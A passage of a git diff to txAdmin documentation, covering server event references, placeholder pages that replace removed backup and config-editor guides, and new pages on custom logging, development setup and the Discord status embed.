is only fired when the player is already registered and is not related to whitelist requests. + + + +**Event Data:** +- `action` *(string)* - `added` or `removed` +- `license` *(string)* - The license of the player +- `playerName` *(string)* - The player display name +- `adminName` *(string)* - Name of the admin that performed the action + +--- + +### txAdmin:events:whitelistPreApproval + +Broadcasted when manually adding identifiers to whitelist pre-approvals. Players with pre-approved identifiers will be automatically saved to the database upon connecting. + + + +**Event Data:** +- `action` *(string)* - `added` or `removed` +- `identifier` *(string)* - The identifier that was pre-approved (e.g., `discord:xxxxxx`) +- `playerName?` *(string)* - The player display name (except when action is `removed`) +- `adminName` *(string)* - Name of the admin that performed the action + +**Note:** This event is NOT triggered when a whitelist request is approved. Use `txAdmin:events:whitelistRequest` for that. + +--- + +### txAdmin:events:whitelistRequest + +Broadcasted whenever an event related to whitelist requests occurs. + + + +**Event Data:** +- `action` *(string)* - `requested`, `approved`, `denied`, or `deniedAll` +- `playerName?` *(string)* - The player display name (except when action is `deniedAll`) +- `requestId?` *(string)* - The request ID (e.g., `Rxxxx`), except when action is `deniedAll` +- `license?` *(string)* - The license of the player/requester (except when action is `deniedAll`) +- `adminName?` *(string)* - Name of the admin that performed the action (except when action is `requested`) + +--- + +## Admin & Other Events + +### txAdmin:events:adminAuth + +Broadcasted whenever an admin is authenticated in-game or loses admin permissions. This event is particularly useful for anti-cheats to ignore txAdmin admins. + + + +**Event Data:** +- `netid` *(number)* - Player ID or `-1` when revoking all admin permissions (forced reauth) +- `isAdmin` *(boolean)* - Whether the player is an admin +- `username?` *(string)* - The txAdmin username of the authenticated admin + +--- + +### txAdmin:events:adminsUpdated + +Broadcasted whenever the admin list changes, including permission or identifier changes. Used by txAdmin to force admin re-authentication. + + + +**Event Data:** +- Array of Network IDs of admins currently online + +--- + +### txAdmin:events:actionRevoked + +Broadcasted when an admin revokes a database action (ban, warn, etc.). + + + +**Event Data:** +- `actionId` *(string)* - The ID of the revoked action +- `actionType` *(string)* - The type of action that was revoked (ban, warn, etc.) +- `actionReason` *(string)* - The action reason +- `actionAuthor` *(string)* - Name of the admin that issued the action +- `playerName` *(string|boolean)* - Name of the player that received the action, or `false` if not applicable +- `playerIds` *(table)* - Array of identifiers the action applied to (license, discord, etc.) +- `playerHwids` *(table)* - Array of hardware ID tokens the action applied to (added in v6.0) +- `revokedBy` *(string)* - Name of the admin that revoked the action + +--- + +### txAdmin:events:configChanged + +Broadcasted when txAdmin settings change in a way that could affect the server. + + + +**Event Data:** This event has no data. + +**Usage:** Currently used to signal the txAdmin in-game menu when the language changes. Can be used to test custom language files without server restart. + +--- + +### txAdmin:events:consoleCommand + +Broadcasted whenever an admin sends a command through the Live Console. + + + +**Event Data:** +- `author` *(string)* - The txAdmin username of the admin who sent the command +- `channel` *(string)* - Currently always `txAdmin`, but may be `rcon` or `game` in the future +- `command` *(string)* - The command that was executed + +--- + +## Deprecated Events + +The following events have been deprecated and should not be used in new resources: + + + +--- + +## Implementation Example + +Here's a complete example of listening to multiple events in a resource: + +```lua +-- Initialize event listeners +local eventLog = {} + +-- Server announcements +AddEventHandler('txAdmin:events:announcement', function(eventData) + table.insert(eventLog, { + type = 'announcement', + author = eventData.author, + message = eventData.message, + timestamp = os.time() + }) + print("^2[txAdmin Announcement]^7 " .. eventData.author .. ": " .. eventData.message) +end) + +-- Player actions +AddEventHandler('txAdmin:events:playerBanned', function(eventData) + table.insert(eventLog, { + type = 'ban', + author = eventData.author, + target = eventData.targetName or 'Unknown', + reason = eventData.reason, + expiration = eventData.expiration, + timestamp = os.time() + }) + print("^1[txAdmin Ban]^7 " .. eventData.targetName .. " banned by " .. eventData.author) +end) + +AddEventHandler('txAdmin:events:playerWarned', function(eventData) + table.insert(eventLog, { + type = 'warn', + author = eventData.author, + target = eventData.targetName, + reason = eventData.reason, + timestamp = os.time() + }) + print("^3[txAdmin Warning]^7 " .. eventData.targetName .. " warned by " .. eventData.author) +end) + +-- Admin authentication +AddEventHandler('txAdmin:events:adminAuth', function(eventData) + if eventData.isAdmin then + print("^5[txAdmin Auth]^7 " .. eventData.username .. " authenticated (netid: " .. eventData.netid .. ")") + else + print("^5[txAdmin Auth]^7 Admin permissions revoked for netid: " .. eventData.netid) + end +end) + +-- Server shutdown +AddEventHandler('txAdmin:events:serverShuttingDown', function(eventData) + print("^1[txAdmin]^7 Server shutting down in " .. (eventData.delay / 1000) .. " seconds") + print("Reason: " .. eventData.message) +end) +``` + +--- + +## Best Practices + + + +--- + +## Related Documentation + +- [txAdmin Official Repository](https://github.com/citizenfx/txAdmin) +- [FiveM Development Docs](https://docs.fivem.net/) +- [Event System Guide](./natives) diff --git a/content/docs/txadmin/backup-system.mdx b/content/docs/txadmin/backup-system.mdx index 526c0e3..24740f4 100644 --- a/content/docs/txadmin/backup-system.mdx +++ b/content/docs/txadmin/backup-system.mdx @@ -3,559 +3,8 @@ title: Backup System description: Configure automated backups, manage backup storage, and implement disaster recovery for your FiveM/RedM server. --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This guide covers txAdmin's comprehensive backup system, helping you protect your server data and implement reliable disaster recovery procedures. - -## Backup Overview - -### What Gets Backed Up -txAdmin's backup system protects critical server components: - -#### Server Files -- **Resources Folder:** All custom and framework resources -- **Server Configuration:** server.cfg and related config files -- **Data Folder:** Server data including logs and cache -- **Database:** MySQL/MariaDB database content (if configured) -- **User Data:** Player profiles and save data - -#### Exclusions (Configurable) -- **Cache Files:** Temporary files that can be regenerated -- **Log Files:** Large log files (configurable retention) -- **Temp Directories:** Temporary processing folders -- **System Files:** Operating system and txAdmin installation files - -### Backup Types - - - - - - - -#### Full Backups -Complete server backup including all data: -- **Frequency:** Weekly or monthly -- **Size:** Largest backup type -- **Restore:** Complete server restoration possible -- **Use Case:** Major updates, migrations, fresh installs - -#### Incremental Backups -Only changed files since last backup: -- **Frequency:** Daily or hourly -- **Size:** Smaller, faster backups -- **Restore:** Requires full backup + incrementals -- **Use Case:** Regular protection with minimal storage - -#### Resource-Only Backups -Backup only the resources folder: -- **Frequency:** Before resource updates -- **Size:** Medium size backups -- **Restore:** Resource-specific restoration -- **Use Case:** Development servers, resource testing - -## Configuring Automated Backups - - - -### Basic Backup Setup - -#### Enable Automated Backups -1. Navigate to **Settings → Backup** -2. Enable **Automatic Backups** -3. Configure basic settings: - -```json -{ - "backup_config": { - "enabled": true, - "frequency": "daily", - "time": "03:00", - "timezone": "UTC", - "retention_days": 14, - "compression": true - } -} -``` - -#### Backup Schedule Options -Configure when backups run: - -**Daily Backups:** -```json -{ - "schedule": { - "type": "daily", - "time": "03:00", - "timezone": "UTC" - } -} -``` - -**Weekly Backups:** -```json -{ - "schedule": { - "type": "weekly", - "day": "sunday", - "time": "02:00", - "timezone": "UTC" - } -} -``` - -**Custom Schedule (Cron):** -```json -{ - "schedule": { - "type": "cron", - "expression": "0 3 * * 0", - "description": "Every Sunday at 3 AM" - } -} -``` - -### Advanced Backup Configuration - -#### Retention Policies -Manage backup storage efficiently: - -```json -{ - "retention_policy": { - "daily_backups": { - "keep": 7, - "description": "Keep 7 daily backups" - }, - "weekly_backups": { - "keep": 4, - "description": "Keep 4 weekly backups" - }, - "monthly_backups": { - "keep": 12, - "description": "Keep 12 monthly backups" - } - } -} -``` - -#### Include/Exclude Rules -Customize what gets backed up: - -```json -{ - "backup_rules": { - "include": [ - "resources/", - "server.cfg", - "data/", - "database/" - ], - "exclude": [ - "cache/", - "logs/*.log", - "temp/", - "node_modules/", - "*.tmp" - ] - } -} -``` - -#### Compression Settings -Optimize backup size and speed: - -```json -{ - "compression": { - "enabled": true, - "algorithm": "gzip", - "level": 6, - "exclude_already_compressed": true - } -} -``` - -## Backup Storage Options - -### Local Storage -Default backup storage on the server: - -#### Configuration -```json -{ - "storage": { - "type": "local", - "path": "/opt/txadmin/backups", - "max_size": "50GB", - "cleanup_enabled": true - } -} -``` - -#### Advantages -- **Fast Access:** Quick backup and restore operations -- **No Dependencies:** Works without internet connection -- **Low Latency:** Immediate access to backup files - -#### Considerations -- **Single Point of Failure:** Vulnerable to hardware failure -- **Limited Space:** Constrained by local storage -- **Physical Security:** Relies on server physical security - -### Cloud Storage Integration - -#### Amazon S3 -Configure AWS S3 for backup storage: - -```json -{ - "storage": { - "type": "s3", - "bucket": "your-backup-bucket", - "region": "us-west-2", - "access_key": "YOUR_ACCESS_KEY", - "secret_key": "YOUR_SECRET_KEY", - "encryption": true, - "storage_class": "STANDARD_IA" - } -} -``` - -#### Google Cloud Storage -Set up Google Cloud for backups: - -```json -{ - "storage": { - "type": "gcs", - "bucket": "your-backup-bucket", - "project_id": "your-project-id", - "key_file": "/path/to/service-account.json", - "storage_class": "NEARLINE" - } -} -``` - -#### Azure Blob Storage -Configure Azure for backup storage: - -```json -{ - "storage": { - "type": "azure", - "container": "backups", - "account_name": "yourstorageaccount", - "account_key": "YOUR_ACCOUNT_KEY", - "tier": "Cool" - } -} -``` - -### Network Storage - -#### SFTP/SSH Storage -Use remote servers via SSH: - -```json -{ - "storage": { - "type": "sftp", - "host": "backup-server.com", - "port": 22, - "username": "backup_user", - "private_key": "/path/to/private_key", - "remote_path": "/backups/server1" - } -} -``` - -#### SMB/CIFS Shares -Network file sharing: - -```json -{ - "storage": { - "type": "smb", - "share": "//backup-server/backups", - "username": "backup_user", - "password": "secure_password", - "domain": "your_domain" - } -} -``` - -## Manual Backup Operations - -### Creating Manual Backups - -#### Via Web Interface -1. Go to **System → Backups** -2. Click **Create Backup** -3. Select backup options: - - **Backup Type:** Full, Resources Only, Custom - - **Description:** Custom backup description - - **Include Database:** Include database dump -4. Start backup process - -#### Via Console Commands -```bash -# Create full backup -backup create --type=full --description="Pre-update backup" - -# Create resource-only backup -backup create --type=resources --description="Before resource update" - -# Create custom backup -backup create --include="resources,data" --exclude="cache" --description="Custom backup" -``` - -#### Backup Verification -Verify backup integrity: - -```bash -# Verify backup -backup verify --file="backup_20240115_030000.tar.gz" - -# List backup contents -backup list --file="backup_20240115_030000.tar.gz" - -# Test backup extraction -backup test --file="backup_20240115_030000.tar.gz" --test-path="/tmp/backup_test" -``` - -### Backup Management - -#### Viewing Backups -Monitor existing backups: - -- **Backup List:** View all available backups -- **Size Information:** Backup file sizes and compression ratios -- **Creation Dates:** When each backup was created -- **Verification Status:** Backup integrity status -- **Storage Location:** Where backup is stored - -#### Backup Actions -Available actions for each backup: - -- **Download:** Download backup to local machine -- **Verify:** Check backup integrity -- **Delete:** Remove backup from storage -- **Restore:** Restore server from backup -- **Clone:** Create new server from backup - -## Disaster Recovery - -### Restoration Procedures - -#### Full Server Restore -Complete server restoration from backup: - -1. **Preparation:** - - Stop current server - - Backup current state (if possible) - - Ensure sufficient disk space - -2. **Restoration Process:** - ```bash - # Via txAdmin interface - 1. Navigate to System → Backups - 2. Select backup to restore - 3. Choose restore options - 4. Confirm restoration - - # Via command line - backup restore --file="backup_20240115_030000.tar.gz" --type=full - ``` - -3. **Post-Restore Steps:** - - Verify resource integrity - - Update configuration if needed - - Test server startup - - Verify player data - -#### Partial Restoration -Restore specific components: - -**Resource-Only Restore:** -```bash -backup restore --file="backup.tar.gz" --type=resources --target="/opt/server/resources" -``` - -**Database Restore:** -```bash -backup restore --file="backup.tar.gz" --type=database --target="server_database" -``` - -**Configuration Restore:** -```bash -backup restore --file="backup.tar.gz" --type=config --target="/opt/server" -``` - -### Recovery Scenarios - -#### Server Corruption -When server files become corrupted: - -1. **Assessment:** - - Identify corrupted components - - Determine extent of damage - - Select appropriate backup - -2. **Recovery Steps:** - - Stop server immediately - - Backup current state for analysis - - Restore from last known good backup - - Verify restoration success - -#### Data Loss Events -Recovering from data loss: - -1. **Player Data Loss:** - - Identify affected players - - Restore from database backup - - Merge with current data if possible - - Communicate with affected players - -2. **Resource Loss:** - - Identify missing resources - - Restore from resource backup - - Update resource configurations - - Test functionality - -#### Hardware Failure -Recovering on new hardware: - -1. **Preparation:** - - Set up new server environment - - Install txAdmin and dependencies - - Configure network settings - -2. **Migration:** - - Download backup from cloud storage - - Restore complete server state - - Update network configurations - - Test all functionality - -## Monitoring and Alerts - -### Backup Monitoring - -#### Success/Failure Tracking -Monitor backup operations: - -```json -{ - "monitoring": { - "track_duration": true, - "alert_on_failure": true, - "alert_on_long_duration": true, - "max_duration_minutes": 60, - "notification_channels": ["email", "discord"] - } -} -``` - -#### Storage Monitoring -Track backup storage usage: - -- **Storage Usage:** Monitor used vs available space -- **Growth Trends:** Track storage usage over time -- **Retention Compliance:** Ensure retention policies are followed -- **Cost Monitoring:** Track cloud storage costs - -### Alerting System - -#### Backup Failure Alerts -Get notified when backups fail: - -```json -{ - "alerts": { - "backup_failure": { - "enabled": true, - "channels": ["email", "discord", "slack"], - "retry_attempts": 3, - "escalation": true - } - } -} -``` - -#### Storage Alerts -Monitor storage issues: - -```json -{ - "storage_alerts": { - "low_space": { - "threshold": "85%", - "action": "cleanup_old_backups" - }, - "backup_too_large": { - "threshold": "10GB", - "action": "investigate_growth" - } - } -} -``` - -## Best Practices - -### Backup Strategy - -#### 3-2-1 Rule -Implement the industry-standard backup strategy: -- **3 Copies:** Keep 3 copies of important data -- **2 Different Media:** Store on 2 different storage types -- **1 Offsite:** Keep 1 copy in a different location - -#### Testing Procedures -Regularly test backup integrity: - -1. **Monthly Tests:** Verify random backups -2. **Quarterly Restores:** Perform full restoration tests -3. **Documentation:** Document test procedures and results -4. **Improvement:** Update procedures based on test results - -### Security Considerations - -#### Backup Encryption -Protect sensitive data in backups: - -```json -{ - "encryption": { - "enabled": true, - "algorithm": "AES-256", - "key_management": "auto", - "encrypt_in_transit": true, - "encrypt_at_rest": true - } -} -``` - -#### Access Control -Limit backup access: - -- **Role-Based Access:** Limit who can create/restore backups -- **Audit Logging:** Log all backup operations -- **Secure Storage:** Use encrypted storage solutions -- **Key Management:** Secure encryption key storage - ---- - - -**Backup Tip:** Test your disaster recovery procedures regularly to ensure they work when needed. - - - -**Important:** Store backups in multiple locations to protect against site-wide disasters. - \ No newline at end of file + +We are working hard to get the full txAdmin documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/txadmin/configuration.mdx b/content/docs/txadmin/configuration.mdx index 6abd309..4807f6b 100644 --- a/content/docs/txadmin/configuration.mdx +++ b/content/docs/txadmin/configuration.mdx @@ -3,206 +3,8 @@ title: Config Editor description: Learn about the txAdmin Config Editor and server configuration. --- -import { Step, Steps } from 'fumadocs-ui/components/steps'; -import { Callout } from 'fumadocs-ui/components/callout'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable, RoleCard, PermissionCodeBlock, KeyboardShortcutTable, ActionTable, InfoBanner, CategoryGrid, FileTree } from '@ui/components/mdx-components' - -# txAdmin Config Editor - -The Config Editor is a web-based interface within txAdmin that allows you to edit your server's configuration file (`server.cfg`) without needing to access the file system directly. This guide explains how to use it and what each configuration option does. - -## Accessing the Config Editor - - - -## Config File Sections - -The default configuration file is divided into three main sections: - -### 1. MUST EDIT - Server Identity - - -These settings define your server's basic information and are essential for operation. - - - - - - - - - - - - -### 2. CAN EDIT - Server Configuration - -These settings control server behavior and performance: - - - - - - - - - - -- **Default Port:** 30120 (game server) -- **Important:** Must match your firewall configuration -- **Note:** `0.0.0.0` means listen on all available network interfaces - -#### `set steam_webApiKey` -- **What it does:** Steam API key for additional Steam integration features -- **Example:** `set steam_webApiKey "none"` -- **Type:** String -- **Default:** "none" (optional feature) -- **How to Get:** Register at [Steam Developer](https://steamcommunity.com/dev/apikey) - -#### `set resources_useSystemChat` -- **What it does:** Whether to use the system chat or let resources handle chat -- **Values:** `true` or `false` -- **Example:** `set resources_useSystemChat true` -- **Default:** true - -## Resources Section - -This section lists which resources automatically start when the server boots: - -``` -ensure mapmanager # Manages maps/worlds -ensure chat # In-game chat system -ensure spawnmanager # Player spawn management -ensure sessionmanager-rdr3 # Session management for RedM -ensure redm-map-one # RedM map resource -ensure hardcap # Prevents exceeding sv_maxclients -``` - -To add or remove resources: -1. Add new lines with `ensure resourcename` -2. Comment out lines with `#` to disable them -3. Save the file - - -**Pro Tip:** Add essential resources at the beginning and optional ones at the end. This helps with startup troubleshooting. - - -## Admin Management Section - -This section defines which players have admin permissions: - -#### `add_ace group.admin command allow` -- **What it does:** Gives the "admin" group permission to use all commands -- **Example:** `add_ace group.admin command allow` - -#### `add_ace group.admin command.quit deny` -- **What it does:** Denies the admin group the ability to quit the server (safety measure) -- **Example:** `add_ace group.admin command.quit deny` - -#### `add_principal identifier.fivem:XXXXX group.admin` -- **What it does:** Adds a specific FiveM user to the admin group -- **Example:** `add_principal identifier.fivem:739337 group.admin #CodeMeAPixel` -- **How to Find Your ID:** Check txAdmin console or use `/getid` in-game -- **Format:** `add_principal identifier.fivem:[YOUR_ID] group.admin` - -#### `add_principal identifier.discord:XXXXX group.admin` -- **What it does:** Adds a specific Discord user to the admin group (if Discord integration enabled) -- **Example:** `add_principal identifier.discord:510065483693817867 group.admin` -- **How to Find Your ID:** Enable Discord integration in txAdmin and check your ID - -## Using the Config Editor - - - - ### Make Your Changes - Edit the configuration file directly in the web editor. The editor provides syntax highlighting for easier reading. - - - ### Save the File - Click the **Save File** button (typically at the bottom right: `CTRL + S`) - - - ### Restart the Server - Changes take effect after a server restart. Use txAdmin's restart function to apply changes. - - - ### Check the Logs - After restart, check the console logs for any errors or warnings related to your changes. - - - - -**Important:** Some changes require a full server restart to take effect. Test configuration changes on a test server first if possible. - - -## Common Configuration Scenarios - -### Setting up a Whitelisted Server -``` -# Add these tags -sets tags "whitelisted, roleplay" - -# Reduce max clients for exclusivity -sv_maxclients 32 - -# Add ACE rules for whitelist checking -add_ace builtin.everyone command deny -add_ace group.admin command allow -``` - -### Setting up a Large Public Server -``` -# Increase player limit -sv_maxclients 128 - -# Enable relevant tags -sets tags "roleplay, economy, factions, pvp" - -# Ensure enough resources -ensure mapmanager -ensure chat -ensure spawnmanager -ensure sessionmanager-rdr3 -``` - -### Setting up a Development/Testing Server -``` -# Clear identifying info -sv_hostname "DEV - Test Server" -sets tags "dev, testing" - -# Lower player limit -sv_maxclients 16 - -# Enable verbose logging -set txAdmin-verbose true -``` - -## Troubleshooting Configuration Issues - -**Server won't start:** -- Check the license key is correct -- Verify all resource names are valid -- Check for syntax errors (missing quotes, brackets) - -**Players can't join:** -- Verify firewall rules for port 30120 -- Check `sv_maxclients` is appropriate -- Ensure license key is valid and active - -**Resources not starting:** -- Check resource names are spelled correctly -- Look at server console for error messages -- Verify the resource folder exists - -## References - -For more detailed information, refer to the official FiveM documentation: -- [FiveM Server Commands](https://aka.cfx.re/server-commands) -- [Server Manual](https://docs.fivem.net/docs/server-manual/setting-up-a-server/) -- [CFX Portal](https://portal.cfx.re) - License key management +import { InfoBanner } from '@ui/components/mdx-components'; + +We are working hard to get the full txAdmin documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/txadmin/custom-server-log.mdx b/content/docs/txadmin/custom-server-log.mdx new file mode 100644 index 0000000..c68ab78 --- /dev/null +++ b/content/docs/txadmin/custom-server-log.mdx @@ -0,0 +1,48 @@ +--- +title: "Custom Server Logs" +description: "Add logging for custom commands to txAdmin." +--- + +import { Info } from "lucide-react"; +import { StepList, PropertyCard } from "@ui/components"; + +# Logging Extra Data + +This feature allows you to add logging for custom commands like `/car` and `/tp` to txAdmin's server logs. To do that, you will need to edit the scripts of those commands to trigger a `txaLogger:CommandExecuted` event. + +> **Note:** For now this only supports client commands! + +
+ +
+

Event Trigger

+

Add the following event call inside your command function: `TriggerServerEvent('txaLogger:CommandExecuted', rawCommand)` where `rawCommand` is the full command with parameters. You don't NEED to pass `rawCommand`, you can edit this string or pass anything you want.

+
+
+ +## How to Enable + +In the client script, add the following event call inside the command function: + +```lua +TriggerServerEvent('txaLogger:CommandExecuted', rawCommand) +``` + +Where `rawCommand` is a variable containing the full command with parameters. + +## Example + +In this example, we will log data from the `/car` command from the `CarCommand` script. + +```lua +RegisterCommand('car', function(source, args, rawCommand) + -- txAdmin logging callback + TriggerServerEvent('txaLogger:CommandExecuted', rawCommand) + + local x,y,z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(), 0.0, 8.0, 0.5)) + + -- there is more code here, no need to edit +end) +``` + +This will add an entry to txAdmin's server logs showing that the command was executed along with the parameters used. diff --git a/content/docs/txadmin/development.mdx b/content/docs/txadmin/development.mdx new file mode 100644 index 0000000..8218917 --- /dev/null +++ b/content/docs/txadmin/development.mdx @@ -0,0 +1,167 @@ +--- +title: "Development" +description: "Guide to set up txAdmin development environment." +--- + +import { AlertTriangle, Info } from "lucide-react"; +import { StepList, FeatureList, CommandCard } from "@ui/components"; + +# txAdmin Development + +If you are interested in development of txAdmin, this guide will help set up your environment. Before starting, please make sure you are familiar with the basics of NodeJS & ecosystem. + +> **Note:** This guide does not cover translations, [which are very easy to do!](./translation) + +## Requirements + +- Windows (the builder doesn't work for other OSs) +- NodeJS v22.9 or newer +- FXServer + +## Project Structure + +- **core** - Node Backend & Modules. Transpiled by `tsc` and bundled with `esbuild` + - **boot** - Code used/triggered during the boot process + - **deployer** - Responsible for deploying new servers + - **lib** - Collection of stateless utils, helpers and business logic + - **modules** - Classes that compose the txAdmin instance, stateful with specific functionalities + - **routes** - All web routes containing HTTP router logic + - **testing** - Top-level testing utilities + +- **resource** - The in-game resource running under the `monitor` name. Files synchronized with deploy path during development. + +- **menu** - React source code for txAdmin's NUI Menu. Transpiled & built using Vite. + +- **web** - Legacy SSR templates & static assets. Uses EJS templating. Will be deprecated in favor of `panel`. + +- **panel** - New UI built with React and Vite. + +- **scripts** - Scripts used for development only. + +- **shared** - Stuff used across workspaces like functions and type definitions. + +## Preparing the Environment + + + +## Development Workflows + +### Core/Panel/Resource + +This workflow is controlled by `scripts/build/*`, which is responsible for: +- Watching and copying static files (resource, docs, license, entry file, etc) to the deploy path +- Watching and re-transpiling the core files, bundling and deploying it +- Running FXServer in the same terminal, restarting when core is modified (like `nodemon`, but enhanced) + +In dev mode, core redirects the panel `index.html` to use Vite, so you first need to start it, then start the builder: + +```bash +# run vite +cd panel +npm run dev + +# In a new terminal - run the builder +cd core +npm run dev +``` + +### NUI Menu + +```bash +cd nui + +# To run Vite on game dev mode: +npm run dev + +# To run Vite on browser dev mode: +npm run browser +``` + +Keep in mind that for every change you will need to restart the `monitor` resource. Unless you started the server with `+setr txAdmin-debugMode true`, txAdmin will detect that as a crash and restart your server. + +When running in game mode, it takes between 10 and 30 seconds for Vite to finish building before you can restart the `monitor` resource in-game. + +### Resource Event Naming Rules + +- Event prefix must be `tx:` indicating where it is registered +- Events that request something (like permission) from the server start with `txsv:req` +- Events can have verbs like `txsv:checkAdminStatus` or `txcl:setServerCtx` +- Most events are menu-related, so scoping events to menu is not required + +### Testing & Building + +The building process is normally done in the GitHub Action workflow only, but if you must build locally: + +```bash +npm run test --workspaces +GITHUB_REF="refs/tags/v9.9.9" npm run build +``` + +The output will be in the `dist/` folder. + +> **Note:** Linting & typechecking need to be re-added into the workflow. + +## Notes Regarding the Settings System + +- `config.json` now only contains changed, non-default values +- `DEFAULT_NULL` is only for values that cannot and should not have defaults (like `fxRunner.dataPath`, `discordBot.token`) +- Note how `fxRunner.cfgPath` does have a default +- All schemas must have a default, even if `null` +- The objective of the `schema.fixer` is to fix invalid values, not apply defaults for missing values +- The `schema.fixer` is only used during boot, not during any saves +- Only use `SYM_FIXER_FATAL` for very important settings so txAdmin rather not boot than boot with an unexpected config +- The objective of the schema is to guarantee correct type values (shouldn't cause TypeErrors), but does not validate dynamic things like file existence +- Validator transformers are only to "polish" the value (removing duplicates, sorting) not to fix invalid values + +## Legacy UI Reference + +
+ +
+

Legacy Warning

+

The `/web/` UI is considered legacy and will be migrated to `/panel/`. **DO NOT** modify `css/coreui.css`. Either do a patch in `custom.css` or modify the SCSS variables.

+
+
+ +### Building CoreUI CSS + +This doc is a reference if you are trying to re-build the `css/coreui.css` from the SCSS source. The only change from CoreUI was the `aside-menu` size from 200px to 300px in `scss/_variables.scss : $aside-menu-width`. + +You can find other variable names in `node_modules/@coreui/coreui/scss/coreui`. + +```bash +git clone https://github.com/coreui/coreui-free-bootstrap-admin-template.git coreui +cd coreui +npm i + +# If you want to make sure you used the same version of CoreUI +git checkout 0cb1d81a8471ff4b6eb80c41b45c61a8e2ab3ef6 + +# Edit your stuff and then compile: +npx node-sass \ + --output-style expanded \ + --source-map true \ + --source-map-contents true \ + --precision 6 \ + src/scss/style.scss src/css/style.css +``` + +Then copy the `src/css/style.css` to txAdmin's folder. diff --git a/content/docs/txadmin/discord-bot.mdx b/content/docs/txadmin/discord-bot.mdx index 4ffb00b..8244dd5 100644 --- a/content/docs/txadmin/discord-bot.mdx +++ b/content/docs/txadmin/discord-bot.mdx @@ -254,7 +254,7 @@ The Status Config JSON controls the appearance for each server state. { "emoji": "1062339910654246964", "label": "txAdmin Discord", - "url": "https://discord.gg/txAdmin" + "url": "https://discord.gg/eWhDDVCpPn" } ] } diff --git a/content/docs/txadmin/discord-status.mdx b/content/docs/txadmin/discord-status.mdx new file mode 100644 index 0000000..967ca59 --- /dev/null +++ b/content/docs/txadmin/discord-status.mdx @@ -0,0 +1,125 @@ +--- +title: "Discord Status Embed" +description: "Customize txAdmin's Discord persistent status embed." +--- + +import { AlertTriangle, Info } from "lucide-react"; +import { FeatureList, PropertyCard } from "@ui/components"; + +# Custom Discord Status Embed + +Starting in v5.1, **txAdmin** has a Discord Persistent Status Embed feature. This is a Discord embed that txAdmin will update every minute, and you can configure it to display server status, and any other random thing that you can normally do with a Discord embed. + +To add the embed, type `/status add` on a channel that the txAdmin bot has Send Message permission. + +To modify the embed, navigate to `txAdmin > Settings > Discord Bot`, and click on the two JSON editor buttons. + +
+ +
+

JSON Editing Tip

+

If you are having issues with JSON encoding, we recommend you use [jsoneditoronline.org](https://jsoneditoronline.org/) to modify your JSON.

+
+
+ +## Available Placeholders + +To add dynamic data to the embed, you can use the built-in placeholders, which txAdmin will replace at runtime. + +- `{{serverCfxId}}` - The Cfx.re id of your server, tied to your `sv_licenseKey` and detected at runtime. +- `{{serverJoinUrl}}` - The direct join URL of your server. Example: `https://cfx.re/join/xxxxxx` +- `{{serverBrowserUrl}}` - The FiveM Server browser URL. Example: `https://servers.fivem.net/servers/detail/xxxxxx` +- `{{serverClients}}` - The number of players online in your server. +- `{{serverMaxClients}}` - The `sv_maxclients` of your server, detected at runtime. +- `{{serverName}}` - The txAdmin-given name for this server. Can be changed in `txAdmin > Settings > Global`. +- `{{statusColor}}` - A hex-encoded color from the Config JSON. +- `{{statusString}}` - A text to be displayed with the server status from the Config JSON. +- `{{uptime}}` - For how long the server is online. Example: `1 hr, 50 mins` +- `{{nextScheduledRestart}}` - String with when the next scheduled restart is. Example: `in 2 hrs, 48 mins` + +## Embed JSON + +This is the JSON of the Embed that will be sent to Discord. This MUST be a valid Discord embed JSON. + +We recommend you use a tool like [discohook.org](https://discohook.org/) to edit the embed. To do so, click `JSON Data Editor` at the bottom and paste the JSON inside the `embeds: [...]` array. + +
+ +
+

Important Notice

+

At save time, txAdmin cannot validate if the embed is correct without sending it to the Discord API. If it does not work, check the `System Logs` page in txAdmin and see if there are any errors related to it. You don't need to set `color` or `footer` as txAdmin will replace those. You can modify the color in the config JSON, but the footer is generated by txAdmin.

+
+
+ +### Example Embed JSON + +```json +{ + "title": "{{serverName}}", + "url": "{{serverBrowserUrl}}", + "description": "You can configure this embed in `txAdmin > Settings > Discord Bot`, and edit everything from it (except footer).", + "fields": [ + { + "name": "> STATUS", + "value": "```\n{{statusString}}\n```", + "inline": true + }, + { + "name": "> PLAYERS", + "value": "```\n{{serverClients}}/{{serverMaxClients}}\n```", + "inline": true + }, + { + "name": "> F8 CONNECT COMMAND", + "value": "```\nconnect 123.123.123.123\n```" + }, + { + "name": "> NEXT RESTART", + "value": "```\n{{nextScheduledRestart}}\n```", + "inline": true + }, + { + "name": "> UPTIME", + "value": "```\n{{uptime}}\n```", + "inline": true + } + ], + "image": { + "url": "https://forum-cfx-re.akamaized.net/original/5X/e/e/c/b/eecb4664ee03d39e34fcd82a075a18c24add91ed.png" + }, + "thumbnail": { + "url": "https://forum-cfx-re.akamaized.net/original/5X/9/b/d/7/9bd744dc2b21804e18c3bb331e8902c930624e44.png" + } +} +``` + +## Embed Configuration + +The configuration of the embed, where you can change the status texts, as well as the embed color. You can set up to 5 buttons. + +For emojis, you can use an actual unicode emoji character, or the emoji ID. To get the emoji ID, insert it into discord, add `\` before it, then send the message to get the full name (e.g., `<:txicon:1062339910654246964>`). + +### Example Configuration + +```json +{ + "onlineString": "🟢 Online", + "onlineColor": "#0BA70B", + "partialString": "🟡 Partial", + "partialColor": "#FFF100", + "offlineString": "🔴 Offline", + "offlineColor": "#A70B28", + "buttons": [ + { + "emoji": "1062338355909640233", + "label": "Connect", + "url": "{{serverJoinUrl}}" + }, + { + "emoji": "1062339910654246964", + "label": "txAdmin Discord", + "url": "https://discord.gg/eWhDDVCpPn" + } + ] +} +``` diff --git a/content/docs/txadmin/env-config.mdx b/content/docs/txadmin/env-config.mdx new file mode 100644 index 0000000..fe116b9 --- /dev/null +++ b/content/docs/txadmin/env-config.mdx @@ -0,0 +1,204 @@ +--- +title: "Environment Configuration" +description: "Configure txAdmin through TXHOST_* environment variables." +--- + +import { AlertTriangle, CheckCircle2, Info } from "lucide-react"; +import { FeatureList, PropertyCard, 